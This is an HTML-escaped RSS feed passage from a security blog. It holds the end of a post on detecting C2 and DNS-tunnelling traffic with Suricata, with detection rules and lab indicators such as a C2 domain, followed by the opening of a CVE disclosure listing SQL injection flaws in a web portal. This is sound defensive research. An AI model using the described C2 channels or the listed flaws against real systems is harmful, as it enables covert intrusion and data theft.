&lt;span class=&quot;n&quot;&gt;classtype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;trojan&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;activity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10000027&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;As you can see, within the UDP packet’s payload, starting at offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; (the beginning of the payload) and extending to a depth of two bytes, we check for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;04 00&lt;/code&gt;, the suspicious DNS Query ID.
To avoid mismatches in any UDP packet, we also use a threshold.
As seen in &lt;a href=&quot;#traffic_wg&quot;&gt;C2 via WireGuard&lt;/a&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;04 00&lt;/code&gt; appears most often.&lt;/p&gt;

&lt;h2 id=&quot;smb&quot;&gt;SMB&lt;/h2&gt;
&lt;p&gt;The SMB traffic did not show anything suspicious; the traffic appears as you would expect.
But do you know how the communication is implemented?
It’s pretty simple: over named pipes and interprocess communication (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IPC&lt;/code&gt;).&lt;/p&gt;

&lt;figure id=&quot;traffic_smb&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/traffic/smb.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/traffic/smb.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/traffic/smb.png&quot; alt=&quot;C2 via SMB&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/traffic/smb.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/traffic/smb.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/traffic/smb.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;C2 via SMB&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;In my opinion, this is one of the noisiest ways to perform C2 for several reasons.
First, there should be no illogical SMB traffic inside your network (e.g., due to firewall blocks), especially via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IPC&lt;/code&gt;.
Second, named pipes in general are heavily inspected by EDR solutions.&lt;/p&gt;

&lt;p&gt;As more of a showcase than a practical detection, we wrote the following rule to detect when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IPC&lt;/code&gt; is used:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;445&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SMB Tree Connect Request to IPC$ detected&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;smb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;named_pipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;IPC&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nocase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10000040&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can also implement a more general detection rule that checks for suspicious names used in named pipes, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;psexec&lt;/code&gt; (the default name for psexec).
For reference, you may consult &lt;a href=&quot;https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Command%20and%20Control/C2-NamedPipe.md&quot;&gt;this GitHub list&lt;/a&gt;, which includes more suspicious names.&lt;/p&gt;

&lt;h2 id=&quot;dns&quot;&gt;DNS&lt;/h2&gt;
&lt;p&gt;DNS is one of the most essential network protocols, responsible for resolving names to addresses.
Ever heard of major internet outages?
Most of the time, it’s either a cable damage or DNS issues.&lt;/p&gt;

&lt;p&gt;There are different types of DNS resource records (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RR&lt;/code&gt;), for example:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt; (maps a domain name to an IPv4 address)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MX&lt;/code&gt; (points to a domain’s mail server address)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As a quick recap, this is how DNS queries work:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The client sends a DNS query to its resolver (typically specified in the network interface settings, often the same as the default gateway).&lt;/li&gt;
  &lt;li&gt;The resolver checks if the queried name is in its cache.&lt;/li&gt;
  &lt;li&gt;If not, the resolver sends a query for the authoritative name server (NS) of the queried domain to the NS root server responsible for the queried top-level domain (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.de&lt;/code&gt; for Germany).&lt;/li&gt;
  &lt;li&gt;The NS root server responds to the resolver.&lt;/li&gt;
  &lt;li&gt;The resolver queries the authoritative NS for the original query and sends the answer back to the client.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;DNS became one of the most fascinating protocols I’ve explored, especially when abused for C2.
In simple terms, the communication is hidden within the DNS requests and responses.&lt;/p&gt;

&lt;figure id=&quot;traffic_dns&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/traffic/dns.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/traffic/dns.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/traffic/dns.png&quot; alt=&quot;C2 via DNS&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/traffic/dns.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/traffic/dns.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/traffic/dns.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;C2 via DNS&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;I’m not entirely sure if the query (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5724015bf0ece4379bcf010016e5210323.see-two.xyz: type TXT, class IN&lt;/code&gt;) is also part of the communication or if it depends on the implementation of the tool or framework used.
My guess is that the query changes every time so the DNS server (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8.8.4.4&lt;/code&gt;) cannot deliver cached entries.
For every query, the authoritative NS is contacted by the DNS server (in this case, the C2 server).
At the very least, the DNS answer is abused to share data (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b12c015bf0274b170a46c3ffff52cc7b96&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;DNS is not a protocol designed to share large amounts of data.
In fact, it’s pretty inefficient because a high volume of “queries” and “answers” is required.
As shown in the following plot, roughly seven to eight requests occur every second during interaction with the beacon:&lt;/p&gt;

&lt;figure id=&quot;traffic_dns_plot&quot; class=&quot;figure-posts&quot; style=&quot;width: 75%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/dns_query_plot.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/dns_query_plot.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/dns_query_plot.png&quot; alt=&quot;C2 via DNS - Query plot&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/dns_query_plot.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/dns_query_plot.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/dns_query_plot.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;C2 via DNS - Query plot&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;For future reference, here’s the statistics overview of the same pcap:&lt;/p&gt;

&lt;figure id=&quot;traffic_dns_stats&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/dns_statistics.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/dns_statistics.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/dns_statistics.png&quot; alt=&quot;C2 via DNS - Statistics&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/dns_statistics.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/dns_statistics.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/dns_statistics.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;C2 via DNS - Statistics&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;summarizing-key-indicators-of-suspicious-behavior&quot;&gt;Summarizing Key Indicators of Suspicious Behavior&lt;/h3&gt;
&lt;p&gt;There are several indicators pointing to suspicious activity.
It’s hard to determine if it’s C2 or data exfiltration, but from my perspective, such anomalies (even if they fit within protocol parameters) should be monitored:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;High count of DNS queries.&lt;br /&gt;
In a timeframe of about 600 seconds, 1,300 queries were sent—an average of 2 queries per second.
However, as shown in the &lt;a href=&quot;#traffic_dns_plot&quot;&gt;C2 via DNS - Query plot&lt;/a&gt;, there are bursts for some minutes, resulting in up to 8 requests per second, which is highly unusual for a single client.&lt;/li&gt;
  &lt;li&gt;Unusual &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RR&lt;/code&gt; derivation.&lt;br /&gt;
Looking at the “query type” section in &lt;a href=&quot;#traffic_dns_stats&quot;&gt;C2 via DNS - Statistics&lt;/a&gt;, you’ll notice the presence of only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CNAME&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MX&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TXT&lt;/code&gt; records.
Additionally, the quantities of these &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RR&lt;/code&gt;s are nearly identical.
Normally, one would expect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AAAA&lt;/code&gt; records to dominate, with only a few other &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RR&lt;/code&gt;s.&lt;/li&gt;
  &lt;li&gt;Strange and changing subdomains.&lt;br /&gt;
As mentioned earlier, the subdomain may be part of the communication channel, changing with every request.
While this prevents caching (and isn’t inherently suspicious), the names are not human-readable and appear to be scrambled hex text.&lt;/li&gt;
  &lt;li&gt;Suspicious answer data.&lt;br /&gt;
The DNS responses seem to contain scrambled hex text, deviating from typical DNS behavior.&lt;/li&gt;
  &lt;li&gt;Suspicious answer data length.&lt;br /&gt;
While normal DNS responses vary in length, the observed answers frequently approach the maximum allowed length of 255 characters (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;239&lt;/code&gt; was the maximum observed).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unfortunately, not all indicators can be directly translated into Suricata rules.
Some require additional correlation logic, either through LUA scripting or third-party tools.
However, for the following scenarios, we created Suricata rules:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;(1) High volume of DNS queries per host&lt;br /&gt;
This rule detects DNS queries (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dns.opcode:0&lt;/code&gt;), combined with a threshold for a single source.&lt;/li&gt;
  &lt;li&gt;(2) Long DNS query length (suspiciously long subdomains)&lt;br /&gt;
This rule is similar to the first but also checks if the query length exceeds 25 characters.
Based on real-world data, you may need to fine-tune this rule to avoid false positives.
(For context, the smallest query we observed was 46 characters, so there’s some flexibility here.)&lt;/li&gt;
  &lt;li&gt;(3) Suspicious answer data length&lt;br /&gt;
Unlike the other two rules, this rule’s threshold observes data per destination.
In my lab, responses exceeding 100 bytes triggered no false positives.
However, if the answer includes multiple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MX&lt;/code&gt; records, this limit can be easily exceeded.
Thresholding and fine-tuning are likely required for practical use.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dns&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;53&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Multiple Huge amount of DNS-Queries possibel C2-Channel or exfiltration detected&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;dns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;opcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;threshold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;both&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;track&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by_src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seconds&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000020&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;


&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dns&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;53&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Multiple DNS Query Length exceeds 25 characters, possible C2-Channel or exfiltration detected&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;dns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;opcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bsize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;threshold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;both&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;track&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by_src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seconds&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000021&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;


&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dns&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;53&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;any &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Multiple DNS Answer to single Host exceeds 100 Byte, possible C2-Channel detected&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;dsize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;threshold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;both&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;track&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by_dst&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seconds&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000022&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;So, diving back up, let’s summarize what we found in the lab.&lt;/p&gt;

&lt;h3 id=&quot;what-did-we-want-to-show-with-this-blog-post&quot;&gt;What did we want to show with this blog post?&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;We want to show that Wireshark doesn’t byte (yes, that’s intentionally written like that).&lt;/li&gt;
  &lt;li&gt;We want to demonstrate how C2 communication is implemented across different protocols and where it might appear.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;what-do-we-learn-from-this&quot;&gt;What do we learn from this?&lt;/h3&gt;
&lt;p&gt;ET Open did not detect much of the intentionally generated C2 traffic.
This may depend on the tool or C2 framework used, so these results may vary.
You may notice that we pointed out many suspicious characteristics within the sniffed traffic, but not all of them can be directly used to create Suricata rules.
Either they would result in a large number of false positives (which we definitely want to avoid), or you would need to rely on LUA scripting or third-party tools to handle the necessary correlations.&lt;/p&gt;

&lt;p&gt;Encrypted traffic also poses a significant challenge since we can’t look inside it.
To address this, you would either need to intercept it (if feasible) or implement (statistical-based) anomaly detection.
Alternatively, you could verify elements like JA3S hashes against CTI.&lt;/p&gt;

&lt;p&gt;Let’s not forget that tools like Suricata are not solutions in themselves; they are tools to solve problems.
(Shoutout to Landi, from whom I borrowed this proverb.)
Personally, I believe there should be a ruleset for detecting unusual anomalies like the ones I highlighted in the &lt;a href=&quot;#dns&quot;&gt;DNS section&lt;/a&gt;.
Staying on the topic of DNS, I noticed that all detection rules in ET Open focused on explicit domain names.
Not a single rule examined packet sizes or similar characteristics.&lt;/p&gt;

&lt;p&gt;Additionally, we think detection rules should be fed from diverse sources:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;A solid ruleset that is “always there” and regularly updated,&lt;/li&gt;
  &lt;li&gt;Your own research, as we conducted in the lab,&lt;/li&gt;
  &lt;li&gt;Community or threat research blog posts that can be leveraged to detect malicious behavior.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you’ve made it all the way here, you have my respect, because this blog post turned out to be a bit longer than initially planned - who could have guessed?&lt;br /&gt;
Again, you’ll find the Suricata rules we created on &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Suricata-C2&quot;&gt;GitHub&lt;/a&gt;, which is a repository within the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics&quot;&gt;G DATA Advanced Analytics&lt;/a&gt; organization.&lt;/p&gt;

&lt;p&gt;Kind regards, Andreas&lt;/p&gt;
</description>
        <pubDate>Fri, 06 Dec 2024 00:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2024/12/06/detection-of-c2-using-suricata/</link>
        <guid isPermaLink="true">https://cyber.wtf/2024/12/06/detection-of-c2-using-suricata/</guid>
        
        <category>c2</category>
        
        <category>4n6</category>
        
        <category>suricata</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Harvesting the Database - 5 CVEs in TOPqw Webportal</title>
        <description>&lt;p&gt;&lt;a href=&quot;https://www.baltic-it.de/programme/topqw-webportal/&quot; title=&quot;https://www.baltic-it.de/programme/topqw-webportal/&quot;&gt;TOPqw Webportal&lt;/a&gt; is a web application developed by &lt;em&gt;bit baltic information technologies GmbH&lt;/em&gt; for social service providers such as local authorities. It can be used to publicly view information about various facilities. For providers and their facilities, there is a login-protected area in which services can be adjusted, statistics viewed and various documents exchanged.&lt;/p&gt;

&lt;p&gt;The software is used by over 12 federal states all over Germany and the application stores sensitive personal information about citizens as well as confidential documents such as applications for social matters.&lt;/p&gt;

&lt;p&gt;As part of two penetration tests G DATA ADAN conducted, we identified some partly critical vulnerabilities and for five of the found vulnerabilities we applied for and received CVEs.&lt;/p&gt;

&lt;p&gt;bit baltic information technologies GmbH reacted quickly when notified of the vulnerabilities and fixed them immediately. GD ADAN followed the principles of Responsible Disclosure when releasing the CVEs.&lt;/p&gt;

&lt;h2 id=&quot;overview-of-the-cves&quot;&gt;Overview of the CVEs&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;CVE Number&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;CVE-2024-45876&lt;/td&gt;
      &lt;td&gt;Unauthenticated SQL Injection&lt;/td&gt;
      &lt;td&gt;Critical&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;CVE-2024-45875&lt;/td&gt;
      &lt;td&gt;Authenticated SQL Injection&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
